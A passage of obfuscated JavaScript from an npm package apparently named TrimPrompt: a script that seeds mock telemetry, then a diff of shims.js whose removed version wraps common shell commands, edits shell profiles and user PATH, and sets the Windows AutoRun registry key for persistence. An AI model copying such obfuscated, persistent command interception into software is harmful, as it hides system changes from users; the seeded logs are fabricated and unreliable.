_0x1968d0=['22156563KzymUw','Step\x201/10\x20:\x20FROM\x20node:20\x0a','docker\x20build\x20.','defineProperty','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','log','claude-3-opus','195027JNRPqO','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','8896bwaoKd','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','All\x20303\x20tests\x20passed\x20in\x204.22s.','Compilation\x20Output:\x0a','tracker','1272pdTHWg','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','__esModule','27380IcCmeR','2882643agrnhd','test_api.py\x20PASS\x0a','repeat','Test\x20suite\x20run\x20starting...\x0a','gemini-1-5-pro','5783310oyfLyI','./tracker','2bYFLII','Successfully\x20built\x20image.','added\x201420\x20packages\x20in\x2014s\x0a','3334852WHQycJ','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','logExecution','10MYztak','npm\x20run\x20build','4438bMtDCM','test_db.py\x20PASS\x0a','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','[INFO]\x20Building\x20modules...\x0a','gpt-4o','test_auth.py\x20PASS\x0a'];a0_0x3841=function(){return _0x1968d0;};return a0_0x3841();}Object[a0_0x55a6fa(0xd0)](exports,a0_0x55a6fa(0xb6),{'value':!![]});const tracker_1=require(a0_0x55a6fa(0xbe));console['log'](a0_0x55a6fa(0xb5)),process.env.TRIMPROMPT_MODEL=a0_0x55a6fa(0xd3),tracker_1[a0_0x55a6fa(0xb3)][a0_0x55a6fa(0xc4)](a0_0x55a6fa(0xc6),a0_0x55a6fa(0xb2)+a0_0x55a6fa(0xca)+'Optimizing\x20assets...\x0a'+'[SUCCESS]\x20Compiled\x20512\x20modules.\x0a'[a0_0x55a6fa(0xba)](0x190),a0_0x55a6fa(0xd1),0x0),process.env.TRIMPROMPT_MODEL=a0_0x55a6fa(0xcb),tracker_1[a0_0x55a6fa(0xb3)]['logExecution']('pytest\x20tests/app',a0_0x55a6fa(0xbb)+a0_0x55a6fa(0xcc)+a0_0x55a6fa(0xc8)+a0_0x55a6fa(0xb9)['repeat'](0x12c)+a0_0x55a6fa(0xb1),a0_0x55a6fa(0xc3),0x0),process.env.TRIMPROMPT_MODEL=a0_0x55a6fa(0xbc),tracker_1[a0_0x55a6fa(0xb3)]['logExecution'](a0_0x55a6fa(0xcf),a0_0x55a6fa(0xc9)+a0_0x55a6fa(0xce)+a0_0x55a6fa(0xb0)+'Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a'+a0_0x55a6fa(0xc1)['repeat'](0x3)+a0_0x55a6fa(0xc0),a0_0x55a6fa(0xae),0x0),console[a0_0x55a6fa(0xd2)]('Database\x20successfully\x20seeded!');
package/shims.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x93d41c=a0_0xfa8d;(function(_0x3b0244,_0x98831d){const _0x44aac3=a0_0xfa8d,_0x3e0c47=_0x3b0244();while(!![]){try{const _0x14b9df=-parseInt(_0x44aac3(0xab))/0x1*(parseInt(_0x44aac3(0xa1))/0x2)+-parseInt(_0x44aac3(0xd6))/0x3*(-parseInt(_0x44aac3(0x9a))/0x4)+-parseInt(_0x44aac3(0x98))/0x5*(parseInt(_0x44aac3(0x10c))/0x6)+-parseInt(_0x44aac3(0xb3))/0x7+-parseInt(_0x44aac3(0x106))/0x8+-parseInt(_0x44aac3(0xc2))/0x9*(-parseInt(_0x44aac3(0xc9))/0xa)+-parseInt(_0x44aac3(0x108))/0xb*(-parseInt(_0x44aac3(0x105))/0xc);if(_0x14b9df===_0x98831d)break;else _0x3e0c47['push'](_0x3e0c47['shift']());}catch(_0x2b02b7){_0x3e0c47['push'](_0x3e0c47['shift']());}}}(a0_0x3ef0,0x5af59));function a0_0x3ef0(){const _0x428c81=['pip','5MHciCi','.bashrc','848176hIUYXk','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','@echo\x20off','.bash_profile','writeFileSync','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','308410ATKCiC','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','Remove-ItemProperty\x20-Path\x20\x27','.zshrc','.cmd','getOwnPropertyDescriptor','ignore','\x20@args\x20}\x20else\x20{\x20&\x20','ruff','1hfWfzG','\x22\x20set\x20\x22PATH=','\x20\x20trim\x20','platform','defineProperty','join','read','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','3129322fIMsCZ','tree','__setModuleDefault','npx','-NoProfile','existsSync','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','message','cargo','\x20-NoProfile\x20-Command\x20\x22','trim.cmd','glab','\x0a#\x20','push','create','36DZMiSp','grep','get','TrimPrompt\x20Shims\x20PATH','readdirSync','installShims','.trimprompt','1149660plrBAB','__createBinding','split','pip3','\x20\x20set\x20\x22PATH=%PATH:','filter','configurable','if\x20exist\x20\x22%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd\x22','\x20&\x20','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','$PROFILE.CurrentUserAllHosts','\x0aexport\x20PATH=\x22','dirname','6sGqzJf','map','.profile','\x27,\x20\x27User\x27)','TrimPrompt\x20shims\x20successfully\x20installed\x20for\x20','npm','trim','some','utf8',';=%\x22','powershell\x20-NoProfile\x20-Command\x20\x22','readFileSync','execFileSync',';\x22\x20+\x20$env:PATH\x0a','.ps1',')\x20else\x20(','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','getOwnPropertyNames','shims','__esModule','child_process','\x20%*','docker','chmodSync','\x20\x22$@\x22;\x20fi\x0a','path','\x20commands.\x0a\x0a','includes','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','kubectl','hasOwnProperty','win32','rmdirSync',':$PATH\x22','replace','export\x20PATH=\x22','__importStar','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','New-Item\x20-Path\x20\x27',':$PATH\x22\x0a','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','length',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','-Command','toLowerCase','appendFileSync','12chFGZG','4963056lCxoeE','default','10466159yzUepm','if\x20exist\x20\x22','uninstallShims','yarn','1447314CPopQA','mkdirSync','[SUCCESS]\x20Your\x20system\x20PATH\x20has\x20been\x20automatically\x20and\x20permanently\x20updated\x20to\x20run\x20TrimPrompt\x20in\x20the\x20background.\x0aThis\x20setup\x20persists\x20across\x20system\x20restarts.\x0a\x0a*Note*:\x20Please\x20restart\x20your\x20active\x20terminal\x20window\x20or\x20AI\x20assistant\x20(e.g.\x20Claude\x20Code/Cursor)\x20for\x20the\x20environment\x20changes\x20to\x20take\x20effect.','unlinkSync','cat','call','powershell.exe','pipe','writable','if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20','execSync','prototype','homedir','Failed\x20to\x20uninstall\x20shims:\x20','pwsh'];a0_0x3ef0=function(){return _0x428c81;};return a0_0x3ef0();}function a0_0xfa8d(_0x511354,_0x525d5e){_0x511354=_0x511354-0x8f;const _0x3ef0b1=a0_0x3ef0();let _0xfa8d38=_0x3ef0b1[_0x511354];return _0xfa8d38;}var __createBinding=this&&this[a0_0x93d41c(0xca)]||(Object[a0_0x93d41c(0xc1)]?function(_0x5de57e,_0x50fdbd,_0x55f01c,_0x37dc7f){const _0x4dc0e5=a0_0x93d41c;if(_0x37dc7f===undefined)_0x37dc7f=_0x55f01c;var _0x39cacf=Object[_0x4dc0e5(0xa7)](_0x50fdbd,_0x55f01c);(!_0x39cacf||(_0x4dc0e5(0xc4)in _0x39cacf?!_0x50fdbd[_0x4dc0e5(0xea)]:_0x39cacf[_0x4dc0e5(0x90)]||_0x39cacf[_0x4dc0e5(0xcf)]))&&(_0x39cacf={'enumerable':!![],'get':function(){return _0x50fdbd[_0x55f01c];}}),Object[_0x4dc0e5(0xaf)](_0x5de57e,_0x37dc7f,_0x39cacf);}:function(_0x4fae55,_0x3bf437,_0x37defc,_0x1d5ac5){if(_0x1d5ac5===undefined)_0x1d5ac5=_0x37defc;_0x4fae55[_0x1d5ac5]=_0x3bf437[_0x37defc];}),__setModuleDefault=this&&this[a0_0x93d41c(0xb5)]||(Object[a0_0x93d41c(0xc1)]?function(_0x10e00f,_0x4ac0ce){const _0x1cf18c=a0_0x93d41c;Object[_0x1cf18c(0xaf)](_0x10e00f,'default',{'enumerable':!![],'value':_0x4ac0ce});}:function(_0x48f375,_0x1269d0){const _0x3cc7ee=a0_0x93d41c;_0x48f375[_0x3cc7ee(0x107)]=_0x1269d0;}),__importStar=this&&this[a0_0x93d41c(0xfb)]||(function(){var _0x4fff5b=function(_0x64027d){const _0x243fb2=a0_0xfa8d;return _0x4fff5b=Object[_0x243fb2(0xe8)]||function(_0x4ad848){const _0x12d2b5=_0x243fb2;var _0x317026=[];for(var _0x2e3866 in _0x4ad848)if(Object[_0x12d2b5(0x93)][_0x12d2b5(0xf5)][_0x12d2b5(0x111)](_0x4ad848,_0x2e3866))_0x317026[_0x317026[_0x12d2b5(0x100)]]=_0x2e3866;return _0x317026;},_0x4fff5b(_0x64027d);};return function(_0x1fc61c){const _0x31ac8c=a0_0xfa8d;if(_0x1fc61c&&_0x1fc61c['__esModule'])return _0x1fc61c;var _0x21143e={};if(_0x1fc61c!=null){for(var _0xfb506b=_0x4fff5b(_0x1fc61c),_0x25adc2=0x0;_0x25adc2<_0xfb506b[_0x31ac8c(0x100)];_0x25adc2++)if(_0xfb506b[_0x25adc2]!=='default')__createBinding(_0x21143e,_0x1fc61c,_0xfb506b[_0x25adc2]);}return __setModuleDefault(_0x21143e,_0x1fc61c),_0x21143e;};}());Object[a0_0x93d41c(0xaf)](exports,a0_0x93d41c(0xea),{'value':!![]}),exports[a0_0x93d41c(0xc7)]=installShims,exports[a0_0x93d41c(0x10a)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x93d41c(0xf0))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls',a0_0x93d41c(0xb4),a0_0x93d41c(0x110),a0_0x93d41c(0xb1),a0_0x93d41c(0xc3),'rg',a0_0x93d41c(0xaa),'git','gh',a0_0x93d41c(0xbe),a0_0x93d41c(0xbb),a0_0x93d41c(0xdb),'pnpm',a0_0x93d41c(0xb6),a0_0x93d41c(0x10b),a0_0x93d41c(0xf4),a0_0x93d41c(0xed),'pytest',a0_0x93d41c(0x97),a0_0x93d41c(0xcc),'go'],PROFILE_MARKER=a0_0x93d41c(0xc5);function getExecSync(){const _0x14bc48=a0_0x93d41c;return require(_0x14bc48(0xeb))[_0x14bc48(0x92)];}function getExecFileSync(){const _0x565906=a0_0x93d41c;return require(_0x565906(0xeb))[_0x565906(0xe2)];}function ensureProfileContains(_0x111c86,_0x3d4684,_0x1300d3){const _0x42df29=a0_0x93d41c;try{const _0x44790d=path[_0x42df29(0xd5)](_0x111c86);!fs[_0x42df29(0xb8)](_0x44790d)&&fs[_0x42df29(0x10d)](_0x44790d,{'recursive':!![]});if(fs['existsSync'](_0x111c86)){const _0x1772a1=fs[_0x42df29(0xe1)](_0x111c86,_0x42df29(0xde));if(_0x1772a1['includes'](_0x3d4684))return;fs[_0x42df29(0x104)](_0x111c86,_0x1300d3,_0x42df29(0xde));}else fs['writeFileSync'](_0x111c86,_0x1300d3,_0x42df29(0xde));}catch{}}function removeProfileBlock(_0x39c58b,_0x511fa7){const _0x3c96bd=a0_0x93d41c;try{if(!fs[_0x3c96bd(0xb8)](_0x39c58b))return;const _0x5e60da=fs[_0x3c96bd(0xe1)](_0x39c58b,'utf8');if(!_0x5e60da[_0x3c96bd(0xf2)](_0x511fa7))return;const _0x40986d=_0x5e60da[_0x3c96bd(0xcb)]('\x0a'),_0x46d1e3=[];let _0x660f65=![];for(let _0x8f026e=0x0;_0x8f026e<_0x40986d[_0x3c96bd(0x100)];_0x8f026e++){if(_0x40986d[_0x8f026e]['includes'](_0x511fa7)){_0x660f65=!![];continue;}if(_0x660f65){_0x660f65=![];continue;}_0x46d1e3[_0x3c96bd(0xc0)](_0x40986d[_0x8f026e]);}const _0x51e4e0=_0x46d1e3[_0x3c96bd(0xb0)]('\x0a')[_0x3c96bd(0xf9)](/\n{3,}/g,'\x0a\x0a');fs[_0x3c96bd(0x9f)](_0x39c58b,_0x51e4e0,_0x3c96bd(0xde));}catch{}}function collectPowerShellProfiles(){const _0x50e4cc=a0_0x93d41c,_0x262727=getExecSync(),_0x299894=[],_0x5579c6=[['powershell','$PROFILE.CurrentUserCurrentHost'],['powershell',_0x50e4cc(0xd3)]];try{_0x262727(_0x50e4cc(0x9b),{'stdio':_0x50e4cc(0xa8)}),_0x5579c6[_0x50e4cc(0xc0)]([_0x50e4cc(0x96),_0x50e4cc(0xd3)]);}catch{}for(const [_0x279c3a,_0x18b0ac]of _0x5579c6){try{const _0x3b54d8=_0x262727(_0x279c3a+_0x50e4cc(0xbc)+_0x18b0ac+'\x22',{'encoding':_0x50e4cc(0xde)})['trim']();_0x3b54d8&&!_0x299894[_0x50e4cc(0xdd)](_0x219bfd=>_0x219bfd['toLowerCase']()===_0x3b54d8[_0x50e4cc(0x103)]())&&_0x299894[_0x50e4cc(0xc0)](_0x3b54d8);}catch{}}return _0x299894;}function getBashProfilesWindows(){const _0x595bc1=a0_0x93d41c,_0x19ecae=os[_0x595bc1(0x94)]();return[_0x595bc1(0x99),_0x595bc1(0x9e)][_0x595bc1(0xd7)](_0x4e6827=>path[_0x595bc1(0xb0)](_0x19ecae,_0x4e6827));}function getBroadcastCommand(){return'$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);';}function installShims(){const _0x3695b4=a0_0x93d41c,_0x57b2ff=path['join'](os[_0x3695b4(0x94)](),_0x3695b4(0xc8),_0x3695b4(0xe9));try{!fs[_0x3695b4(0xb8)](_0x57b2ff)&&fs[_0x3695b4(0x10d)](_0x57b2ff,{'recursive':!![]});const _0x5baafb=os[_0x3695b4(0xae)]()===_0x3695b4(0xf6);for(const _0x3fa8e6 of SHIMMED_COMMANDS){if(_0x5baafb){const _0xabafa8=path[_0x3695b4(0xb0)](_0x57b2ff,_0x3fa8e6+_0x3695b4(0xa6)),_0x304bbc=process.env.APPDATA?path[_0x3695b4(0xb0)](process.env.APPDATA,_0x3695b4(0xdb)):'',_0x436129=_0x304bbc?_0x3695b4(0x109)+path[_0x3695b4(0xb0)](_0x304bbc,_0x3695b4(0xbd))+'\x22':_0x3695b4(0xd0),_0x203a1e=[_0x3695b4(0x9d),_0x436129+'\x20(',_0x3695b4(0xad)+_0x3fa8e6+_0x3695b4(0xec),_0x3695b4(0xe5),_0x3695b4(0xcd)+_0x57b2ff+_0x3695b4(0xdf),'\x20\x20'+_0x3fa8e6+_0x3695b4(0xec),')'][_0x3695b4(0xb0)]('\x0d\x0a')+'\x0d\x0a';fs['writeFileSync'](_0xabafa8,_0x203a1e,'utf8');const _0x30c4c8=path[_0x3695b4(0xb0)](_0x57b2ff,_0x3fa8e6+_0x3695b4(0xe4)),_0x48be38=_0x3695b4(0x91)+_0x3fa8e6+_0x3695b4(0xa9)+_0x3fa8e6+'\x20@args\x20}\x0a';fs[_0x3695b4(0x9f)](_0x30c4c8,_0x48be38,_0x3695b4(0xde));const _0x16b142=path['join'](_0x57b2ff,_0x3fa8e6),_0xe9d7a8=_0x57b2ff[_0x3695b4(0xf9)](/\\/g,'/')[_0x3695b4(0xf9)](/^([A-Za-z]):/,(_0x41015a,_0x4875f9)=>'/'+_0x4875f9[_0x3695b4(0x103)]()),_0x13aa0f=_0x3695b4(0xb2)+_0x3fa8e6+'\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|'+_0xe9d7a8+_0x3695b4(0x101)+_0x3fa8e6+_0x3695b4(0xef);fs[_0x3695b4(0x9f)](_0x16b142,_0x13aa0f,'utf8');}else{const _0x1bcaf0=path['join'](_0x57b2ff,_0x3fa8e6),_0x4d096d='#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20'+_0x3fa8e6+_0x3695b4(0xa3)+_0x3fa8e6+'\x20\x22$@\x22;\x20fi\x0a';fs[_0x3695b4(0x9f)](_0x1bcaf0,_0x4d096d,_0x3695b4(0xde)),fs[_0x3695b4(0xee)](_0x1bcaf0,'755');}}let _0x471eb4=![],_0x26c4c4='';if(_0x5baafb)try{const _0x5a8479=getExecSync(),_0xae7be5='\x0a#\x20'+PROFILE_MARKER+'\x0a$env:PATH\x20=\x20\x22'+_0x57b2ff+_0x3695b4(0xe3),_0x49ae76=collectPowerShellProfiles();for(const _0xb635a8 of _0x49ae76){ensureProfileContains(_0xb635a8,_0x57b2ff,_0xae7be5);}try{const _0x400310=getExecFileSync(),_0x35823=_0x3695b4(0x109)+_0x57b2ff+_0x3695b4(0xac)+_0x57b2ff+';%PATH%\x22',_0xb67ae4=_0x3695b4(0x9c);let _0xee7187='';try{const _0x24b6d4=_0x3695b4(0xfc)+_0xb67ae4+_0x3695b4(0xe6);_0xee7187=_0x400310(_0x3695b4(0x112),[_0x3695b4(0xb7),_0x3695b4(0x102),_0x24b6d4],{'encoding':_0x3695b4(0xde),'stdio':[_0x3695b4(0x8f),'pipe','ignore']})[_0x3695b4(0xdc)]();}catch{}if(!_0xee7187['includes'](_0x57b2ff)){const _0x50240a=_0xee7187?_0xee7187+'\x20&\x20'+_0x35823:_0x35823,_0x13a26e=_0x3695b4(0xfd)+_0xb67ae4+'\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27'+_0xb67ae4+_0x3695b4(0xa2)+_0x50240a+'\x27';_0x400310('powershell.exe',['-NoProfile',_0x3695b4(0x102),_0x13a26e],{'stdio':_0x3695b4(0xa8)});}}catch{}try{const _0x2af880=_0x57b2ff[_0x3695b4(0xf9)](/\\/g,'/')[_0x3695b4(0xf9)](/^([A-Za-z]):/,(_0x45e086,_0x36aa59)=>'/'+_0x36aa59[_0x3695b4(0x103)]()),_0x448348=_0x3695b4(0xbf)+PROFILE_MARKER+_0x3695b4(0xd4)+_0x2af880+_0x3695b4(0xfe),_0x190de1=getBashProfilesWindows();let _0x5dbbb7=![];for(const _0x31bbd0 of _0x190de1){fs[_0x3695b4(0xb8)](_0x31bbd0)&&(ensureProfileContains(_0x31bbd0,_0x2af880,_0x448348),_0x5dbbb7=!![]);}!_0x5dbbb7&&ensureProfileContains(_0x190de1[0x0],_0x2af880,_0x448348);}catch{}const _0x57b180=_0x3695b4(0xff),_0x30f4b1=_0x5a8479(_0x3695b4(0xe0)+_0x57b180+'\x22',{'encoding':'utf8','stdio':[_0x3695b4(0x8f),_0x3695b4(0x8f),_0x3695b4(0xa8)]})[_0x3695b4(0xdc)]();if(!_0x30f4b1['includes'](_0x57b2ff)){const _0x1e4f49=_0x57b2ff+';'+_0x30f4b1,_0x1732d4=_0x1e4f49[_0x3695b4(0xf9)](/'/g,'\x27\x27'),_0x3a3f73=_0x3695b4(0xe7)+_0x1732d4+_0x3695b4(0xd9);_0x5a8479('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x3a3f73+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x3695b4(0xa8)});}const _0x3ad6e0=path['join'](process.env.APPDATA||'',_0x3695b4(0xdb),'trim.ps1');if(fs[_0x3695b4(0xb8)](_0x3ad6e0))try{fs[_0x3695b4(0x10f)](_0x3ad6e0);}catch{}_0x471eb4=!![];}catch(_0x289dcb){_0x26c4c4=_0x3695b4(0xb9)+_0x57b2ff;}else try{const _0x50c8ad=_0x3695b4(0xfa)+_0x57b2ff+_0x3695b4(0xfe),_0x32e831=os['homedir'](),_0x316f39=['.bashrc',_0x3695b4(0xa5),_0x3695b4(0x9e),_0x3695b4(0xd8)];let _0x38623e=![];for(const _0x1a5a70 of _0x316f39){const _0x2f96eb=path['join'](_0x32e831,_0x1a5a70);fs[_0x3695b4(0xb8)](_0x2f96eb)&&(ensureProfileContains(_0x2f96eb,_0x57b2ff,_0x3695b4(0xbf)+PROFILE_MARKER+'\x0a'+_0x50c8ad),_0x38623e=!![]);}if(!_0x38623e){const _0x49ee01=path[_0x3695b4(0xb0)](_0x32e831,_0x3695b4(0x99));ensureProfileContains(_0x49ee01,_0x57b2ff,_0x3695b4(0xbf)+PROFILE_MARKER+'\x0a'+_0x50c8ad);}_0x471eb4=!![];}catch(_0x518e18){_0x26c4c4=_0x3695b4(0xd2)+_0x57b2ff+_0x3695b4(0xf8);}const _0x154341=_0x3695b4(0xda)+SHIMMED_COMMANDS[_0x3695b4(0x100)]+_0x3695b4(0xf1),_0x3df938=_0x471eb4?_0x154341+_0x3695b4(0x10e):_0x154341+'[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20'+_0x26c4c4;return{'success':!![],'pathDir':_0x57b2ff,'message':_0x3df938};}catch(_0x534872){return{'success':![],'pathDir':_0x57b2ff,'message':'Failed\x20to\x20install\x20shims:\x20'+_0x534872[_0x3695b4(0xba)]};}}function uninstallShims(){const _0x3029f2=a0_0x93d41c,_0x5a11c3=path[_0x3029f2(0xb0)](os['homedir'](),_0x3029f2(0xc8),_0x3029f2(0xe9)),_0x25668b=os['platform']()===_0x3029f2(0xf6);try{if(_0x25668b){const _0x3dc74f=getExecSync();try{const _0x1ff93b=getExecFileSync(),_0x5d986b='HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor',_0x9dc2c5='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0x5d986b+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}',_0x1829b4=_0x1ff93b(_0x3029f2(0x112),[_0x3029f2(0xb7),_0x3029f2(0x102),_0x9dc2c5],{'encoding':_0x3029f2(0xde),'stdio':[_0x3029f2(0x8f),_0x3029f2(0x8f),_0x3029f2(0xa8)]})[_0x3029f2(0xdc)]();if(_0x1829b4[_0x3029f2(0xf2)](_0x5a11c3)){const _0x8118a8=_0x1829b4['split'](_0x3029f2(0xd1))[_0x3029f2(0xce)](_0x4a4cae=>!_0x4a4cae[_0x3029f2(0xf2)](_0x5a11c3));if(_0x8118a8['length']===0x0){const _0x2ae138=_0x3029f2(0xa4)+_0x5d986b+_0x3029f2(0xf3);_0x1ff93b(_0x3029f2(0x112),[_0x3029f2(0xb7),_0x3029f2(0x102),_0x2ae138],{'stdio':'ignore'});}else{const _0x480248=_0x8118a8[_0x3029f2(0xb0)](_0x3029f2(0xd1)),_0x3c59fd='Set-ItemProperty\x20-Path\x20\x27'+_0x5d986b+_0x3029f2(0xa2)+_0x480248+'\x27';_0x1ff93b(_0x3029f2(0x112),['-NoProfile',_0x3029f2(0x102),_0x3c59fd],{'stdio':_0x3029f2(0xa8)});}}}catch{}try{const _0x147a86=collectPowerShellProfiles();for(const _0x46df54 of _0x147a86){removeProfileBlock(_0x46df54,PROFILE_MARKER);}}catch{}try{for(const _0x80a514 of getBashProfilesWindows()){removeProfileBlock(_0x80a514,PROFILE_MARKER);}}catch{}try{const _0x3f2fd0=_0x3029f2(0xff),_0x87aa5=_0x3dc74f('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x3f2fd0+'\x22',{'encoding':_0x3029f2(0xde),'stdio':[_0x3029f2(0x8f),_0x3029f2(0x8f),'ignore']})[_0x3029f2(0xdc)]();if(_0x87aa5[_0x3029f2(0xf2)](_0x5a11c3)){const _0x46b06a=_0x87aa5[_0x3029f2(0xcb)](';')[_0x3029f2(0xce)](_0x199f41=>_0x199f41[_0x3029f2(0xdc)]()[_0x3029f2(0x103)]()!==_0x5a11c3[_0x3029f2(0x103)]())[_0x3029f2(0xb0)](';'),_0x2e624a=_0x46b06a[_0x3029f2(0xf9)](/'/g,'\x27\x27'),_0x27d239='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x2e624a+_0x3029f2(0xd9);_0x3dc74f('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x27d239+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x3029f2(0xa8)});}}catch{}}else{const _0xc8113e=os[_0x3029f2(0x94)](),_0x4bd981=[_0x3029f2(0x99),_0x3029f2(0xa5),'.bash_profile',_0x3029f2(0xd8)];for(const _0x3409ba of _0x4bd981){removeProfileBlock(path[_0x3029f2(0xb0)](_0xc8113e,_0x3409ba),PROFILE_MARKER);}}if(fs[_0x3029f2(0xb8)](_0x5a11c3)){const _0x391870=fs[_0x3029f2(0xc6)](_0x5a11c3);for(const _0x2d6d9b of _0x391870){fs['unlinkSync'](path[_0x3029f2(0xb0)](_0x5a11c3,_0x2d6d9b));}fs[_0x3029f2(0xf7)](_0x5a11c3);}return{'success':!![],'message':_0x3029f2(0xa0)};}catch(_0x41bd18){return{'success':![],'message':_0x3029f2(0x95)+_0x41bd18[_0x3029f2(0xba)]};}}
1
+ 'use strict';const a0_0x270dd9=a0_0x4300;(function(_0x43e233,_0x18ce6f){const _0x271653=a0_0x4300,_0x146c01=_0x43e233();while(!![]){try{const _0x352181=parseInt(_0x271653(0x217))/0x1+-parseInt(_0x271653(0x232))/0x2*(-parseInt(_0x271653(0x202))/0x3)+parseInt(_0x271653(0x20d))/0x4*(-parseInt(_0x271653(0x233))/0x5)+parseInt(_0x271653(0x20f))/0x6+-parseInt(_0x271653(0x224))/0x7*(parseInt(_0x271653(0x253))/0x8)+parseInt(_0x271653(0x1f6))/0x9*(-parseInt(_0x271653(0x250))/0xa)+-parseInt(_0x271653(0x23b))/0xb*(-parseInt(_0x271653(0x209))/0xc);if(_0x352181===_0x18ce6f)break;else _0x146c01['push'](_0x146c01['shift']());}catch(_0x5af6a6){_0x146c01['push'](_0x146c01['shift']());}}}(a0_0x5859,0xd8cc4));var __createBinding=this&&this[a0_0x270dd9(0x221)]||(Object[a0_0x270dd9(0x246)]?function(_0x4bc981,_0x1bf74b,_0x4ff895,_0x4dc05d){const _0x48ad93=a0_0x270dd9;if(_0x4dc05d===undefined)_0x4dc05d=_0x4ff895;var _0x3005c0=Object[_0x48ad93(0x254)](_0x1bf74b,_0x4ff895);(!_0x3005c0||(_0x48ad93(0x227)in _0x3005c0?!_0x1bf74b[_0x48ad93(0x1fb)]:_0x3005c0[_0x48ad93(0x24d)]||_0x3005c0['configurable']))&&(_0x3005c0={'enumerable':!![],'get':function(){return _0x1bf74b[_0x4ff895];}}),Object[_0x48ad93(0x244)](_0x4bc981,_0x4dc05d,_0x3005c0);}:function(_0x555d0b,_0x179c0b,_0x29a9ea,_0x8f393c){if(_0x8f393c===undefined)_0x8f393c=_0x29a9ea;_0x555d0b[_0x8f393c]=_0x179c0b[_0x29a9ea];}),__setModuleDefault=this&&this[a0_0x270dd9(0x21c)]||(Object[a0_0x270dd9(0x246)]?function(_0xc241e0,_0x8d6e0a){const _0x42f570=a0_0x270dd9;Object[_0x42f570(0x244)](_0xc241e0,_0x42f570(0x1fd),{'enumerable':!![],'value':_0x8d6e0a});}:function(_0x3c3f82,_0x1d1088){_0x3c3f82['default']=_0x1d1088;}),__importStar=this&&this['__importStar']||(function(){var _0x3daa54=function(_0x1756eb){return _0x3daa54=Object['getOwnPropertyNames']||function(_0x3302fa){const _0x2ee588=a0_0x4300;var _0x5b3a5c=[];for(var _0x21495f in _0x3302fa)if(Object[_0x2ee588(0x247)][_0x2ee588(0x20a)][_0x2ee588(0x1ef)](_0x3302fa,_0x21495f))_0x5b3a5c[_0x5b3a5c[_0x2ee588(0x212)]]=_0x21495f;return _0x5b3a5c;},_0x3daa54(_0x1756eb);};return function(_0x250505){const _0x3aa256=a0_0x4300;if(_0x250505&&_0x250505[_0x3aa256(0x1fb)])return _0x250505;var _0x4b9a11={};if(_0x250505!=null){for(var 